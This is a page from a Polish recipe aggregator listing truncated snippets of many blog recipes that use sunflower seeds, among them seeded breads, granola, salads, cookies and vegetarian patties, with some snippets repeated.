słonecznik - 8260 przepisów (strona:271/551)

fasola, ciecierzyca, czy soczewica. Jeszcze jakieś warzywo, owsiane płatki, jajka i już jest gotowy farsz na warzywne hamburgery. Kolejny przepis to wegetariańskie kuleczki z zielonej soczewicy i nasion słonecznika. Jest w nich jajko, ale i je możecie zastąpić tak zwanym jajkiem z chia, aby uzyskać w pełni wegańskie danie. Lubicie kopytka? Ja też i dlatego często powracam do przepisu

window.adsbygoogle || []).push({}); Składniki 250 g tortellini 6 ogórków konserwowych 1/3 słoika papryki marynowanej 1/2 puszki kukurydzy kilka liści sałaty lodowej 2 łyżki ketchupu 2 łyżki śmietany sól pieprz garść słonecznika Wykonanie Pierożki tortellini gotujemy w lekko osolonej wodzie. Następnie odcedzamy i pozostawiamy do przestygnięcia. Ogórki konserwowe oraz paprykę marynowaną kroimy w kosteczkę. Kukurydze odsączamy z zalewy. Sałatę lodową rwiemy

osób z insulinoopornością . Serdecznie polecam i zapraszam do przepisu! Składniki (2 porcje): serek wiejski, 200g, pół pęczka szczypiorku, garść pomidorków koktajlowych, 4 plastry wędliny z indyka, 4 łyżki nasion słonecznika ( tu przeczytasz więcej o właściwościach nasion), 6 łyżek kukurydzy konserwowej, szczypta soli i pieprzu. Sposób przygotowania Najpierw wędlinę i pomidorki koktajlowe pokrój w kawałki. Następnie posiekaj szczypiorek. Później kukurydzę przepłucz

Choć w Internecie znajdziecie mnóstwo przepisów na makaron ze szpinakiem, warto wypróbować właśnie ten. Za sprawą słonecznika jedyny w swoim rodzaju. Pokochacie go na maksa! The post Makaron ze szpinakiem i suszonymi pomidorami first appeared on jedzeniowy

szklanka orzechów ziemnych (250 g w łupince) 1 ½ szklanki płatków owsianych (200 g) 2/3 szklanki kokosu (60 g) 2/3 szklanki żurawiny (100 g) 2 łyżki pestek dyni 4 łyżki słonecznika łuskanego 6 łyżek sezamu 3 łyżki oliwy lub oleju (u mnie olej lniany) 3 łyżki miodu 3 łyżki jogurtu greckiego 2 niewielkie banany (300 g) Przygotowanie: Fistaszki obrać. Obrane orzechy

kokosowych, jeśli lubicie bardziej intensywny smak lub kawałki czekolady, aby granola była słodsza. Czas wykonania: 1 h Ilość porcji: 7 pocji Składniki: 120 g płatków owsianych 3 łyżki łuskanego słonecznika 80 g wiórków kokosowych 1 łyżeczka miodu 14 łyżek mleka kokosowego (około 100 – 130 ml) Przygotowanie: Połowę (60 g) płatków owsianych zmielić w blenderze. Wymieszać wszystkie suche składniki ze sobą

szklanka mąki orkiszowej 1 ½ łyżeczki proszku do pieczenia 5 łyżek syropu klonowego 1/3 szklanki oleju (u mnie olej arachidowy) 1 łyżka nasion chia 1 łyżka siemienia lnianego 1 łyżka słonecznika łuskanego 2 łyżki pestek dyni ½ – 1 łyżeczkę soli Przygotowanie: Cukinie obrać i zetrzeć na tarce z grubymi oczkami do dużej miski. Posolić i odstawić na 10 minut, aż puści

naprawdę wszystko sprowadza się do mieszania, a potem dokładnego dociśnięcia masy chlebowej w blaszce i na koniec odrobiny cierpliwości, by nie spróbować jeszcze ciepłego.  Składniki: 1 szklanka ziaren słonecznika  ¾ szklanki siemienia lnianego  ½ szklanki płatków migdałów  1 ½ szklanki płatków owsianych  opcjonalnie 2 łyżki chia,  10 czubatych łyżek zmielonego siemienia lnianego  2 płaskie łyżeczki soli

samej żytniej, bo chleb będzie zbity i nie będzie puszysty, radzę zrobić pół na pół z pszenną (typ 2000). 3/4 szklanki płatków owsianych 3/4 szklanki siemienia lnianego 3/4 szklanki słonecznika lub pestek dyni 3/4 szklanki otrębów pszennych lub innych 3 płaskie łyżeczki soli 1 łyżka miodu 1 litr ciepłej przegotowanej wody (ok 40 st.C) 1 szklanki zaczynu z poprzedniego pieczenia

mąki pszennej tortowej lub chlebowej (typ 720) (zwykłej) 10 g soli 20 g drożdży świeżych 1,5 – 2 łyżki miodu 440 ml ciepłej wody 80 g słonecznika 80 g pestek dyni 20 g maku 40 g sezamu 60 g siemienia lnianego Przygotować rozczyn: Do miski wlać wodę, miód, rozkruszyć drożdże, dodać 2 czubate łyżki mąki pszennej, wymieszać. Odstawić

mąki gryczanej* 200 gr mąki ryżowej 100 gr mąki kukurydzianej 550 gr ciepłej wody 25 gr drożdży 1 łyżka cukru 1 łyżeczka soli 3 łyżki siemienia lnianego 3 łyżki słonecznika łuskanego 1 łyżka pestek dyni 1 łyżka sezamu W 50 ml wody rozpuścić drożdże, rozpuścić. W dużej misce wymieszać wszystkie suche składniki, dodać wodę i wodę z drożdżami. Dokładnie wymieszać

Oczywiście z kilkoma zmianami. Rodzinka była zachwycona, a ja nie musiałam kupować pieczywa przez 3 dni :). Taka gospodarność ;-). Składniki na 4 chlebki: Namoczka: 135 gr ziaren (u mnie pestki słonecznika, dyni, mak, siemie lniane) 40 gr płatków owsianych górskich 200 gr gorącej wody Wieczór wcześniej do miski wsypać ziarna, dodać płatki, zalać wodą, wymieszać, odstawić do ostygnięcia, wstawić do lodówki

najlepiej smakują z kwaśną śmietaną. Odpowiednie dla osób na diecie bezglutenowej czy bezmlecznej. Składniki na 14 kotlecików: 900 g miąższu z surowej dyni (u mnie Hokkaido) 4 łyżki ziaren słonecznika 3 łyżki ziaren dyni 3 łyżki orzechów włoskich 1 jajko 1/4 szklanki dowolnej mąki (u mnie bułka tarta) 2 łyżki nasion chia lub zmielonego siemienia lnianego 1/4 szklanki oleju

formę 28 na 18 cm: 200 g płatków owsianych drobnych (u mnie błyskawiczne) 10 szt suszonych moreli (drobno pokrojonych) 100 g mieszanki studenckiej (orzechów i bakalii) 60 g ziaren słonecznika 3 łyżki mielonego siemienia lnianego szczypta soli 1 łyżka soku z cytryny 75 g syropu z Agawy lub miodu lub innego syropu słodzącego u mnie melasa z buraka cukrowego plus

zakwasu 650 g przegotowanej, ciepłej wody 600 g mąki żytniej typ 720 200 g mąki żytniej typ 2000 20 g soli 20 g czarnuszki 1/2 szklanki ziaren słonecznika 1/2 szklanki siemienia lnianego Wszystkie składniki dokładnie wymieszać, tak aby wszystko się dobrze połączyło, nie ma konieczności wyrabiania, bo chleby z mąki żytniej tego nie lubią. Ciasto na chleb odłożyć w misce

mąki pszennej tortowej lub chlebowej (typ 720) (zwykłej) 10 g soli 20 g drożdży świeżych 1,5 – 2 łyżki miodu 440 ml ciepłej wody 80 g słonecznika 80 g pestek dyni 20 g maku 40 g sezamu 60 g siemienia lnianego Przygotować rozczyn: Do miski wlać wodę, miód, rozkruszyć drożdże, dodać 2 czubate łyżki mąki pszennej, wymieszać. Odstawić

mąki gryczanej* 200 gr mąki ryżowej 100 gr mąki kukurydzianej 550 gr ciepłej wody 25 gr drożdży 1 łyżka cukru 1 łyżeczka soli 3 łyżki siemienia lnianego 3 łyżki słonecznika łuskanego 1 łyżka pestek dyni 1 łyżka sezamu W 50 ml wody rozpuścić drożdże, rozpuścić. W dużej misce wymieszać wszystkie suche składniki, dodać wodę i wodę z drożdżami. Dokładnie wymieszać

Oczywiście z kilkoma zmianami. Rodzinka była zachwycona, a ja nie musiałam kupować pieczywa przez 3 dni :). Taka gospodarność ;-). Składniki na 4 chlebki: Namoczka: 135 gr ziaren (u mnie pestki słonecznika, dyni, mak, siemie lniane) 40 gr płatków owsianych górskich 200 gr gorącej wody Wieczór wcześniej do miski wsypać ziarna, dodać płatki, zalać wodą, wymieszać, odstawić do ostygnięcia, wstawić do lodówki

najlepiej smakują z kwaśną śmietaną. Odpowiednie dla osób na diecie bezglutenowej czy bezmlecznej. Składniki na 14 kotlecików: 900 g miąższu z surowej dyni (u mnie Hokkaido) 4 łyżki ziaren słonecznika 3 łyżki ziaren dyni 3 łyżki orzechów włoskich 1 jajko 1/4 szklanki dowolnej mąki (u mnie bułka tarta) 2 łyżki nasion chia lub zmielonego siemienia lnianego 1/4 szklanki oleju

formę 28 na 18 cm: 200 g płatków owsianych drobnych (u mnie błyskawiczne) 10 szt suszonych moreli (drobno pokrojonych) 100 g mieszanki studenckiej (orzechów i bakalii) 60 g ziaren słonecznika 3 łyżki mielonego siemienia lnianego szczypta soli 1 łyżka soku z cytryny 75 g syropu z Agawy lub miodu lub innego syropu słodzącego u mnie melasa z buraka cukrowego plus

mąki jaglanej 100 g mąki z bezglutenowych płatków owsianych 30 g kakao 70 g mąki ziemniaczanej 10 g zmielonego siemienia lnianego 50 g zmielonych na mąkę ziaren słonecznika (następnym razem pominę) 400 g aquababy (wody z puszki po ciecierzycy/gotowaniu ciecierzycy lub innych strączkowych, zredukowana do gęstego „żelującego płynu) 2 łyżeczki bezglutenowego proszku do pieczenia 75 g ksylitolu Dno tortownicy

zakwasu 650 g przegotowanej, ciepłej wody 600 g mąki żytniej typ 720 200 g mąki żytniej typ 2000 20 g soli 20 g czarnuszki 1/2 szklanki ziaren słonecznika 1/2 szklanki siemienia lnianego Wszystkie składniki dokładnie wymieszać, tak aby wszystko się dobrze połączyło, nie ma konieczności wyrabiania, bo chleby z mąki żytniej tego nie lubią. Ciasto na chleb odłożyć w misce

drugiego śniadania dla dzieci. Składniki: 250 g daktyli bez pestek (lub dowolnej mieszanki suszonych owoców) 100 g ulubionych orzechów 20 g płatków migdałowych 20 g pestek słonecznika (sezamu, wiórków kokosowych, pestek dyni etc.) 2 łyżki dobrej jakości gorzkiego kakao + kakao do obtoczenia Daktylowe kulki mocy – przepis Orzechy zalej zimną wodą i odstaw na godzinę. W tym czasie powinny zmięknąć

deszczu oraz wszechogarniającą szaro-burą aurę. Brzmi jak doskonały przepis na chandrę, ale nie daj się! Już czas, aby z czeluści szafy … The post Ciasto dyniowe z karmelizowanym słonecznikiem appeared first on FitSweet

mąki pszennej 25 g świeżych drożdży 0,5 litra wody mineralnej 30 g otrębów pszennych 50 g płatki owsiane górskie 70 g siemienia lnianego 60 g pestek słonecznika 2 łyżeczki soli masło do natłuszczenia formy Sposób wykonania: Do dużej miski wrzucamy pokruszone drożdże, zalewamy letnią wodą (ok. 37°C), mieszamy. Dodajemy wszystkie pozostałe składniki i dokładnie mieszamy do uzyskania jednolitego

mąki krupczatki 12 g drożdży świeżych lub 4 g suchych 10 g soli 1 łyżka miodu 500 ml letniej wody 6 łyżek siemienia lnianego 4 łyżki nasion słonecznika 1/2 szklanki otrąb żytnich 1 łyżeczka czarnuszki Instructions Do miski wlać wodę, miód, drożdże wymieszać następnie dodać nasiona (1 łyżeczkę czarnuszki), mąkę oraz pozostałe składniki całość wymieszać, wystarczy zrobić to łyżką

Keyword czosnek niedźwiedzi Prep Time 10 minutes Cook Time 55 minutes Total Time 1 hour 5 minutes Servings 1 Author Anna Ingredients 550 g mąki krupczatki 4 łyżki nasion słonecznika 2 łyżki siemienia lnianego 6 łyżek otrąb pszennych lub żytnich 450 g letniej wody 20 g świeżych drożdży lub 1 i 1/2 łyżeczki suszonych 10 g soli 20 g świeżego

płaska) 1 jajko 100 ml maślanki/kefiru/jogurtu naturalnego 80 ml oleju 50g syropu z agawy (można użyć miodu) Dodatkowo: 2 łyżki rodzynek 1 łyżka suszonej żurawiny 2 łyżki pestek słonecznika (lub dowolnych orzechów) 2 łyżki orzechów (u mnie nerkowca ) Muffinki z płatkami owsianymi, syropem z agawy i bakaliami - przygotowanie: W pierwszej misce należy wymieszać mąkę, płatki, sól oraz proszek

szklanki wody ciepłej 1,5 łyżki oleju kokosowego rafinowanego; rozpuszczonego 1,5 łyżki masła klarowanego rozpuszczonego Sposób przygotowania Nasiona chia, nasiona babki płesznik, nasiona konopii oraz len zmielić drobno. Słonecznik, pestki dyni rozdrobnić według uznania (można też całkiem zmielić). Wszystkie suche składniki wymieszać, po czym dodać wodę oraz tłuszcz. Odstawić na 15 minut (do 3 h) aby składniki dobrze wchłonęły

Pyszny gruszkowo-jabłkowy bukiet z posmakiem ziaren słonecznika, za które odpowiedzialny jest topinambur.… Czytaj dalej Szpinak, gruszka, topinambur

samej żytniej, bo chleb będzie zbity i nie będzie puszysty, radzę zrobić pół na pół z pszenną (typ 2000). 3/4 szklanki płatków owsianych 3/4 szklanki siemienia lnianego 3/4 szklanki słonecznika lub pestek dyni 3/4 szklanki otrębów pszennych lub innych 3 płaskie łyżeczki soli 1 łyżka miodu 1 litr ciepłej przegotowanej wody (ok 40 st.C) 1 szklanki zaczynu z poprzedniego pieczenia

mąki gryczanej* 200 gr mąki ryżowej 100 gr mąki kukurydzianej 550 gr ciepłej wody 25 gr drożdży 1 łyżka cukru 1 łyżeczka soli 3 łyżki siemienia lnianego 3 łyżki słonecznika łuskanego 1 łyżka pestek dyni 1 łyżka sezamu W 50 ml wody rozpuścić drożdże, rozpuścić. W dużej misce wymieszać wszystkie suche składniki, dodać wodę i wodę z drożdżami. Dokładnie wymieszać

najlepiej smakują z kwaśną śmietaną. Odpowiednie dla osób na diecie bezglutenowej czy bezmlecznej. Składniki na 14 kotlecików: 900 g miąższu z surowej dyni (u mnie Hokkaido) 4 łyżki ziaren słonecznika 3 łyżki ziaren dyni 3 łyżki orzechów włoskich 1 jajko 1/4 szklanki dowolnej mąki (u mnie bułka tarta) 2 łyżki nasion chia lub zmielonego siemienia lnianego 1/4 szklanki oleju

ciasteczek po 2 cm wysokości i 5 cm średnicy: 3 bardzo dojrzałe banany (mogę być brązową skórką) 1 szklanka płatków owsianych 1 szklanka otrębów 1 szklanka pestek słonecznika 1 szklanka orzechów ziemnych 1 szklanka suszonych, niesiarkowanych owoców 1 łyżeczka cynamonu 2-3 łyżki miodu lub syropu daktylowego do smaku Piekarnik nagrzać do 180 st. Blaszkę od piekarnika wyłożyć papierem

mąki jaglanej 100 g mąki z bezglutenowych płatków owsianych 30 g kakao 70 g mąki ziemniaczanej 10 g zmielonego siemienia lnianego 50 g zmielonych na mąkę ziaren słonecznika (następnym razem pominę) 400 g aquababy (wody z puszki po ciecierzycy/gotowaniu ciecierzycy lub innych strączkowych, zredukowana do gęstego „żelującego płynu) 2 łyżeczki bezglutenowego proszku do pieczenia 75 g ksylitolu Dno tortownicy

zakwasu 650 g przegotowanej, ciepłej wody 600 g mąki żytniej typ 720 200 g mąki żytniej typ 2000 20 g soli 20 g czarnuszki 1/2 szklanki ziaren słonecznika 1/2 szklanki siemienia lnianego Wszystkie składniki dokładnie wymieszać, tak aby wszystko się dobrze połączyło, nie ma konieczności wyrabiania, bo wyroby z mąki żytniej tego nie lubią. Ciasto na chleb odłożyć w misce

Składniki: 4 banany 100 g suszonej żurawiny 175 g mieszanki studenckiej 2 szklanki płatków owsianych 1/2 szklanki nasion słonecznika 1/2 szklanki płatków migdałowych 1/4 szklanki siemienia lnianego Sposób wykonania: W dużej misce miksujemy banany blenderem. Duże orzechy (orzechy nerkowca, migdały) z mieszanki studenckiej szatkujemy nożem Następnie dodajemy wszystkie składników do bananów i znów miksujemy (niezbyt dokładnie, tak aby masie były

przepyszne. Tym razem szukałam pomysłu nadal na proste ciastka, ale bez dodatku cukru. Padło zatem na przepis na ciastka z ciasta twarogowego, ale jako dodatek posłużyło siemię lniane, słonecznik i sezam. Nasionka możemy posypywać na posmarowane jajkiem ciastka. Ale ponieważ ja ciastka robiłam z dwuletnią córą, wkrótce pół kuchni była zawalona nasionkami i samo ciasto też. Nasiona weszły w ciasto

jako dodatek do sosów, deserów, słodkich ciasteczek lub właśnie do słonych krakersów*. Składniki 60 g mąki żytniej 30 g tahiny ( 2 duże łyżki) 50 g mieszanych ziaren i pestek (słonecznika, dyni, siemienia lnianego) 1/2 łyżeczki soli 50 ml zimnej wody Wykonanie Wszystkie składniki wkładamy do miski, dokładnie wyrabiamy ciasto i formujemy kulę. Odrywamy po kawałku ciasta, rozpłaszczamy , a potem lekko

podwójnej porcji, naprawdę nie ma się co rozdrabniać. Dzięki za przepis, K. 😊 . Trochę pozmieniałam, jak to zwykle u mnie bywa: zamiast wiórek dałam taką sama ilość prażonych pestek słonecznika i mąkę zwykłą pszenną bo nie miałam orkiszowej, proszek do pieczenia zamiast sody, dodałam kilka łyżek górskich płatków owsianych, akurat skończyło mi się kakao, więc dałam taką samą ilość posiekanej czekolady

przecież można je wykorzystać w ciekawy sposób, np. przygotowując pyszne ciasto, shake bananowy, a nawet lody. Tym razem pokażę Wam ciekawy przepis na ciasto bananowe z dodatkiem cynamonu, słonecznika, żurawiny, rodzynek oraz orzechów. Ciasto bananowe z cynamonem i bakaliami -- AleTorcik! - przepisy na pyszne, domowe ciasta, ciasteczka i torty

puree z dyni 300ml domowego bulionu warzywnego 300ml płynnego mleka kokosowego 1 łyżka soku z cytryny 2 łyżki posiekanej kolendry do dekoracji 2 łyżki prażonych nasion do dekoracji (dynia, słonecznik, siemię lniane itp.) Przygotowanie 1 Cebulę kroję w kostkę. 2 Czosnek siekam na mniejsze części. 3 W garnku na średnim ogniu rozgrzewam łyżkę oleju kokosowego. 4 Na rozgrzany olej wrzucam

razowej  200 g wody w temperaturze pokojowej 5 g miodu 5 g soli 2 g drożdży w proszku 50 g ziaren (pestki dyni, słonecznika, sezamu i lnu) + 15 g ziaren do posypania bułeczek **** INGREDIENTI (per ca. 7 panini) 150 g di farina tipo 00 150 g di farina integrale 200 g di acqua a temperatura ambiente

chłód, strugi deszczu oraz wszechogarniającą szaro-burą aurę. Brzmi jak doskonały przepis na chandrę, ale nie daj się! Już czas, aby z czeluści … Artykuł Ciasto dyniowe z karmelizowanym słonecznikiem pochodzi z serwisu FitSweet

jajeczne, rybne. Ja mam dla was przepis na zupełnie innego rodzaju przepyszną pastę do chleba z czterech dobrze wam znanych składników.  100 gramów sera feta 50 gramów prażonego słonecznika 20 gramów ( garść) rukoli 2 łyżki jogurtu greckiego Wszystkie składniki przekładamy do wysokiego naczynia i za pomocą blendera  miksujemy na jednolitą masę. GOTOWE

szybki chleb wieloziarnisty .Prosty i szybki do zrobienia i smaczny.Polecam. 500 g mąki pszennej typ 650 1 łyżeczka soli 1 łyżeczka cukru 3 łyżki siemienia lnianego 3 łyżki łuskanego słonecznika 4 łyżki płatków owsianych 1 łyżka sezamu 25 g świeżych drożdży 500 ml letniej wody Mąkę, sól, cukier i drożdże dokładnie wymieszać, zalać letnią wodą, wsypać ziarna i wymieszać

dzieła Składniki: – 1 brokuł – 8 średnich ogórków małosolnych – 100g kaszy jaglanej – 1 pęczek szczypiorku – 1/2 pęczka natki pietruszki – 1,5 łyżki słonecznika – 1 łyżka płatków drożdżowych – sól, pieprz Kaszę gotujemy z odrobiną soli zgodnie z instrukcją na opakowaniu, studzimy. Brokuł płuczemy i kroimy na małe różyczki, wrzucamy go do gorącej wody

pokochałam od pierwszego gryza :) Pierwotny przepis pochodzi z bloga Smakołyki Bereniki i został trochę zmodyfikowany przez moją koleżankę Olę, u której to w The post Chrupiące ciastka owsiane ze słonecznikiem i sezamem appeared first on KulinarnePrzeboje.pl

letniej wody  Ciasto 1 kg mąki pszennej typ 650 3 szkl. letniej wody  plus troszkę ewentualnie dolać gdy za gęste 3/4 szklanki płatków owsianych 1/2 szkl. ziaren słonecznika  1/2 szkl. siemienia lnianego  1/2 szkl.złotego lnu 1/2 szkl.babki płesznik 3 łyżeczki soli [dałam więcej] 20 g świeżych drożdży Wieczorem do dużego naczynia wsypać mąkę żytnią

Młode ziemniaczki w koperkowo-pietruszkowym pesto Składniki: około 500 g ziemniaków mały pęczek koperku mały pęczek natki pietruszki łyżka drobno startego grana padano ząbek czosnku około 100 g pestek słonecznika 4 łyżki oliwy z oliwek około 2-3 łyżki oleju sól Na początku myjemy ziemniaki. Każdy dokładnie szorujemy, ale tak by nie uszkodzić skórki. Następnie gotujemy je w mundurkach

łyżki drobnego cukru (60 g) 1/2 kostki masła (100 g) 2 jajka 1 łyżeczka proszku do pieczenia  1 łyżeczka cukru wanilinowego 1 łyżka sezamu 1 łyżka ziaren słonecznika 1 czubata łyżeczka miodu, np. z maliną Masło rozpuścić i lekko ostudzić. Do miski wsypać wszystkie suche składniki, wbić jajka, dodać miód i wlać rozpuszczone masło. Całość bardzo dokładnie wymieszać

przecież można je wykorzystać w ciekawy sposób, np. przygotowując pyszne ciasto, shake bananowy, a nawet lody. Tym razem pokażę Wam ciekawy przepis na ciasto bananowe z dodatkiem cynamonu, słonecznika, żurawiny, rodzynek oraz orzechów. Ciasto bananowe z cynamonem i bakaliami -- AleTorcik! - przepisy na pyszne, domowe ciasta, ciasteczka i torty

sałatki: 4 łyżki oliwy lub oleju rzepakowego 4 łyżki soku z cytryny 2 łyżeczki musztardy delikatesowej 2 łyżeczki miodu *Zamiast pestek dyni można użyć, np. ziaren słonecznika lub orzeszków piniowych.   (adsbygoogle = window.adsbygoogle || []).push({}); Przepis na sałatkę ze szpinakiem: Szpinak umyć, osuszyć na sitku, ewentualnie oderwać większe ogonki. Na suchej patelni podprażyć pestki dyni. Ostudzić. Parmezan zetrzeć na tarce

praktycznie jak te ze sklepu, to dzielę się z Wami przepisem. Składniki: 3/4 kostki masła 1 i 1/2 szklanki mąki razowej 1 i 1/2 szklanki płatków owsianych 3/4 szklanki słonecznika 3/4 szklanki suszonej żurawiny 2 jaja 1 łyżeczka proszku do pieczenia 2 łyżki miodu odrobina cynamonu 1/2 szklanki mleka Masło i miód rozpuszczamy, wsypujemy wszystkie suche składniki, wbijamy jaja, wlewamy

Dawno nie zamieszczałam przepisu na sałatkę, więc postanowiłam przyrządzić coś smakowitego. Proponowana sałatka będzie doskonałym urozmaiceniem, zastąpi bowiem tradycyjne kanapki brane do pracy. Podprażone nasiona słonecznika przyjemnie chrupią pod zębami. A poza tym warto ją zrobić, jest tak pyyyszna. Potrzebujemy

Składniki: 400 g jogurtu greckiego 100 g rukoli (1 opakowanie) 1 dojrzałe awokado  2 łyżki majonezu 8 łyżek pestek słonecznika 4 ząbki czosnku 50 ml oliwy z oliwek sok z 1/2 cytryny sól, pieprz Sposób wykonania: Wszystkie składniki wrzucamy do kielicha blendera i miksujemy na gładko. Doprawiamy do smaku solą i pieprzem. Podajemy ze świeżymi lub pieczonymi warzywami, pieczonym

lekko pikantnych smaków. Taki prezent możecie zrobić spokojnie wcześniej i zamknąć w słoiku lub innym szczelnie zamkniętym pojemniku, a spokojnie wytrzyma nawet 2 Read More Artykuł Pikantne prażone pestki słonecznika i dyni pochodzi z serwisu flymetothespoon

łyżek) masła orzechowego 50g cukru trzcinowego (można zastąpić miodem jak ktoś woli) pół płaskiej łyżeczki proszku do pieczenia (bez niego też wyjdą) 3 łyżki ziaren słonecznika Robimy! Wszystkie składniki mieszamy ze sobą do uzyskania konsystencji jak miękka plastelina. Jak za lepko, podsypcie mąki. Odstawiamy do lodówki na 10 minut. Lekko zwilżamy ręce i formujemy kuleczki. Układamy na blaszce wyściełanej papierem

zakwasu, bez drożdży. Wystarczy wymieszać wszystkie składniki i włożyć do piekarnika. Chleb z samych ziaren. Można z nim eksperymentować, dodawać ziół, zmieniać składniki.  Składniki: - 1 szklanka ziaren słonecznika - 1/2 szklanki pestek dyni - 1 szklanka siemienia lnianego - 2 jajka Przygotowanie: Do przygotowania będziemy potrzebować naczynie  w którym upieczemy nasz chlebek. Ja piekę w misce, naczyniu, żaroodpornym o średnicy

zaczyn: 40 g świeżych drożdży 1 łyżeczka cukru 1 łyżka przegotowanej letniej wody 1 1/2 łyżeczki soli 1/4 szklanki (40 g) pestek dyni 1/4 szklanki (40 g) ziaren słonecznika 1/4 szklanki (40 g) ziaren siemienia lnianego 1/2 szklanki (120 ml) oleju 400 ml letniej wody olej i mleko roślinne do smarowania bułek na wierzchu sezam, płatki owsiane, czarnuszka lub inne

Chrupiąca i zdrowa granola z płatkami owsianymi, siemieniem lnianym, nasionami chia, orzechami włoskimi, pestkami dyni i słonecznika, słodzona naturalnym miodem. Pyszna na śniadanie z mlekiem zwykłym lub roślinnym , jogurtem czy owocami . Idealna jako posypka do deserów , lodów czy koktajli . Pomimo, że z przepisu wychodzą dwa słoiki granoli, muszę robić z podwójnej porcji :) Jedna blacha nie starcza nam nawet na tydzień

mąki pszennej typ 450 100 g mąki pszennej chlebowej typ 1050 20 g drożdży  340 g letniej wody 1 1/2 - 2 łyżeczek soli dodatkowo: ulubione ziarenka (np. słonecznik, dynia, czarnuszka, siemie lniane...) SPOSÓB PRZYGOTOWANIA: Mąkę pszenną oraz mąkę pszenną chlebową, pokruszone drożdże, wodę i sól umieszczamy w misce do wyrabiania ciasta - ugniatamy w rękach do momentu aż ciasto będzie

sycąca, choć nie wygląda. Składniki: 1 brokuł ugotowany na parze, podzielony na różyczki 1 duża garść żurawiny 1 opakowanie fety, pokrojonego w kostkę 1 duża garść prażonych ziaren słonecznika Wszystkie składniki wymieszać w dużej misce i polać sosem, np. czosnkowym. Smacznego! Przedstawiać pewnie nie trzeba. Kto lubi jazdę rowerową i piękne widoki, to wie o co chodzi :). Trasa Rzeszów - Łańcut

ciastek ukaże się również wkrótce w wersji gazetowej we wszystkich salonikach prasowych oraz Salonach Empik. Składniki: 1 duży, dojrzały banan 1,5 szklanki płatków owsianych 0,5 szklanki pestek słonecznika 1 łyżka stołowa rodzynek 2 łyżki stołowe wiórków kokosowych 2 łyżki miodu Wykonanie: Włóż do miski obranego banana, dodaj miód i rozgnieć całość widelcem. Wsyp pozostałe składniki, dokładnie wymieszaj

wodzie) - 120 g - można kupić już gotowe gotowane :)  2 garście rukoli 50 g sera feta kawałek czerwonej cebuli (20 g) 1 łyżka pestek dyni 1 łyżeczka nasion słonecznika dressing: 1 łyżka oliwy z oliwek 1 łyżeczka soku z cytryny 1 łyżeczka wody szczypta słodzidła (u mnie erytrol, może być  cukier lub ksylitol) PRZYGOTOWANIE Rukolę myjemy i osuszamy. Buraka

mlekiem, jogurtem czy jedzona solo. Przyznaję, że w tej ostatniej wersji jadłam ją najczęściej 😂 Składniki: 125 g płatków owsianych  125 g płatków orkiszowych  45 g nasion słonecznika  45 g pestek dyni  45 g orzechów pekan 45 g migdałów 60 g tahini (Terrasana) 60 g masła z orzechów laskowych (Terrasana) 60 g syropu klonowego

zdrowe i super smaczne to wybieram bez wyrzutów sumienia tę opcję, do pochrupania bez wyrzutów sumienia Miłego i smacznego dnia! Składniki: 1 szklanka płatków owsianych 2 łyżki ziaren słonecznika 2 łyżki płatków migdałów 2 łyżki orzechów laskowych 2 łyżki posiekanych suszonych moreli 3 łyżki posiekanych suszonych fig Helio 2 łyżki suszonej miechunki Helio 1 łyżka morwy białej suszonej Helio

naturalnej czekolady na gorąco   (Szczypta Świata) 60 g płynnego oleju kokosowego  50 g posiekanych orzechów brazylijskich  30 g siemienia lnianego  15 g nasion słoneczniku  1 jajko 2 łyżki syropu klonowego  Przygotowanie: Wszystkie składniki przełóż do miski i dokładnie wymieszaj.  Uformuj ciastka (w razie trudności w sklejaniu masy zwilż dłonie wodą) i układaj

mąki pszennej typu 1850 (wcześniej uprażonej na suchej patelni) 260 g wody 10 g soli saszetka (7 g) drożdży suszonych 210 g zaczynu 80 g uprażonego słonecznika 80 g pokrojonych suszonych fig łyżka oleju Wszystkie składniki ciasta (oprócz bakalii) wymieszać, a następnie wyrabiać do połączenia składników ok. 4-5 minut. Ciasto ma mieć luźną konsystencję, ale nie powinno się rozlewać

minut do napuszenia. Bułeczki posmarować mlekiem. Piec w 200 st. C. przez 15 minut. Ostudzić na kratce. Smacznego! U mnie mieszanka pięciu ziaren to ziarna jęczmienia i żyta, słonecznik, sezam i siemię lniane. Nie wiem, czy w Polsce można kupić taką gotową; jeśli nie, można je kupić osobno i wymieszać samemu w dowolnych proporcjach.  Mleka użyłam tylko do posmarowania

Kupca 500 ml ciepłej wody 25 g drożdży 1 płaska łyżeczka cukru 1 płaska łyżeczka różowej soli himalajskiej 5 łyżek płatków owsianych Kupiec 500g mąki pszennej 2 łyżki słonecznika 3 łyżki siemienia lnianego 1 łyżka mleka do posmarowania Do miski rozkruszyć drożdże,dodać cukier,sól,wlać wodę i wsypać płatki. Wszystko wymieszać i odstawić do wyrośnięcia na 20 minut

łyżki siemienia lnianego 2 łyżki sezamu 2 łyżki oleju, np. kokosowego 1 łyżka mąki jaglanej szczypta soli do posypania 1/3 szklanki ziaren  (np. mieszanka sezamu, pestek dyni, słonecznika, siemienia lnianego) 1 łyżeczka oleju odrobina mąki jaglanej Suchą kaszę jaglaną przesypać na durszlak i przelać wrzącą wodą. Następnie przesypać ją do garnka, wlać niepełne 2 szklanki wody i wsypać szczyptę

suchych drożdży) 800 ml ciepłej wody 2 łyżeczki białego cukru (z każdym innym nie wychodzi niestety) 1,5 łyżeczki soli morskiej 3 łyżki siemienia lnianego 3 łyżki słonecznika 2 łyżki sezamu 1 łyżka pestek dyni 1 łyżka oleju (każdego za wyjątkiem rzepakowego, który nadaje się wyłącznie do silników) Wykonanie: 1. Najpierw w misce mieszamy mąki, bardzo dokładnie, potem dodajemy drożdże

cebula 1 duży ząbek czosnku 2 łyżki przyprawy do gyrosa 1 łyżeczka curry 3 łyżki oleju Wielkopolskiego rzepakowego ponadto: 1 jako 2 łyżki mieszanki nasion:sezam biały i czarny,słonecznik Drożdże wymieszać z letnim mlekiem i cukrem,odstawić na 10 minut do wyrośnięcia. Do miski wsypać mąkę,dodać sól,wbić jajka i lekko przemieszać. Wlać rozczyn drożdżowy i olej,wyrobić

zielonej soczewicy; 2 kostki wędzonego tofu; 2 garście suszonej żurawiny; 1 główka zielonej sałaty (lub inne zielone liście np. szpinak, rukola, inny rodzaj sałaty); 5-6 pomidorów; ½ filiżanki prażonego słonecznika; sos winegret. Stranger things 2  – tak dobra, jak pierwsza seria! Serial dostępny na platformie Netflix od 27 października. Polecam!!!   Źródło/Source Salad with green lentils; Stranger Things

